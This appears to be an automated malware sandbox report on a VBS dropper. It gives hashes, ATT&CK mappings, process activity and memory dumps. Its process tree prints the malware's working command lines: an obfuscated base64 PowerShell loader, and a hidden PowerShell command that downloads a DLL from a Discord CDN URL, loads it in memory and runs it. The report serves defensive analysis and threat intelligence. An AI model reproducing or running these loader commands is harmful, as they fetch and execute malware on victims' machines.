2d04a0d8fac45912b00ddc206423b2a0536e2a035642729535852f6d163946ee

General

Target

tmpuB1xoC.vbs
Size

757KB
MD5

9dc5849357ad8c24dee16b6103c76e07
SHA1

71934dc525d7cff4d493a5737d34188dd1906ec4
SHA256

2d04a0d8fac45912b00ddc206423b2a0536e2a035642729535852f6d163946ee
SHA512

127bc5c32c8811771d2acbeebe1675b64cadae777158e55f10ec724a92396a70ce67c451443470e1eb630834f916a76c8f4c080f2a431119d6fc40e204c297d3

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cdn.discordapp.com/attachments/979582020927774773/980218074567421972/dl.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1412 powershell.exe
5 1412 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1392 powershell.exe
1412 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1392 powershell.exe
Token: SeDebugPrivilege 1412 powershell.exe

flow	pid	process
4	1412	powershell.exe
5	1412	powershell.exe

pid	process
1392	powershell.exe
1412	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1808 wrote to memory of 1392	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 1392	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 1392	1808	WScript.exe	powershell.exe
PID 1392 wrote to memory of 1412	1392	powershell.exe	powershell.exe
PID 1392 wrote to memory of 1412	1392	powershell.exe	powershell.exe
PID 1392 wrote to memory of 1412	1392	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tmpuB1xoC.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $CglO = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEMAbwBwAHkA☈☈☈wB0AGEAcgB0AH☈☈☈AcABSAG8AZABhAC☈☈☈AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBTAHkAcwB0AG☈☈☈AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQA3ADkANQA4ADIAMAAyADAAOQAyADcANwA3ADQANwA3ADMALwA5ADgAMAAyADEAOAAwADcANAA1ADYANwA0ADIAMQA5ADcAMgAvAGQAbAAuAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG☈☈☈AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH☈☈☈ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG☈☈☈AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAZgAyADEAOABjAGIAMQA0AGIAMQBkADMALQBiAD☈☈☈ANgBiAC0ANwBlAGQANAAtADgAMQBjAD☈☈☈ALQBlADkAMwA3ADIANgBjAGYAPQBuAG☈☈☈AawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AcwBvAGQAbwByAHQAYwBlAGwAZQAwADIAJQBwAG0AbwBjAC8AbwAvAG0AbwBjAC4AdABvAHAAcwBwAHAAYQAuAG8AYwBpAG4AbwByAHQAYwBlAGwAZQAtAHAAbQBvAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAG☈☈☈AbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAG☈☈☈AcgBpAGYALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBWAF☈☈☈ANAA1AHYAeQAnACAAKQApAA==';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $CglO.replace('☈☈☈','U') ) );$OWjuxD = $OWjuxD.replace('%CopyStartupRoda%', 'C:\Users\Admin\AppData\Local\Temp\tmpuB1xoC.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\tmpuB1xoC.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/979582020927774773/980218074567421972/dl.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('f218cb14b1d3-b56b-7ed4-81c5-e93726cf=nekot&aidem=tla?txt.sodortcele02%pmoc/o/moc.topsppa.ocinortcele-pmoc/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $RodaCopy , 'VU45vy' ))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1412

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
fbfbd8e558f857004dc792eb7199f8f4

SHA1
d17b2ff7dc28903721759ce24a61b8ebc349b3e0

SHA256
e5a0f7fc151decc32e89b3e09bad86c2579774b557c759cf96f9a38f1f5632df

SHA512
f2b24dc905706cc4b96a44b91bce9c204682dbcecdd723ff3c5ac6956ed055890aee17c8d9e05a954350dbb2c510debf742790dae7bb44a046d5859a80b88cac

Download Submit
memory/1392-65-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download
memory/1392-55-0x0000000000000000-mapping.dmp

Download
memory/1392-57-0x000007FEF3480000-0x000007FEF3EA3000-memory.dmp

Filesize
10.1MB

Download
memory/1392-59-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/1392-58-0x000007FEF2920000-0x000007FEF347D000-memory.dmp

Filesize
11.4MB

Download
memory/1392-71-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download
memory/1392-70-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/1412-64-0x000007FEF2920000-0x000007FEF347D000-memory.dmp

Filesize
11.4MB

Download
memory/1412-66-0x0000000002734000-0x0000000002737000-memory.dmp

Filesize
12KB

Download
memory/1412-67-0x000000000273B000-0x000000000275A000-memory.dmp

Filesize
124KB

Download
memory/1412-68-0x0000000002734000-0x0000000002737000-memory.dmp

Filesize
12KB

Download
memory/1412-69-0x000000000273B000-0x000000000275A000-memory.dmp

Filesize
124KB

Download
memory/1412-63-0x000007FEF3480000-0x000007FEF3EA3000-memory.dmp

Filesize
10.1MB

Download
memory/1412-60-0x0000000000000000-mapping.dmp

Download
memory/1808-54-0x000007FEFB801000-0x000007FEFB803000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing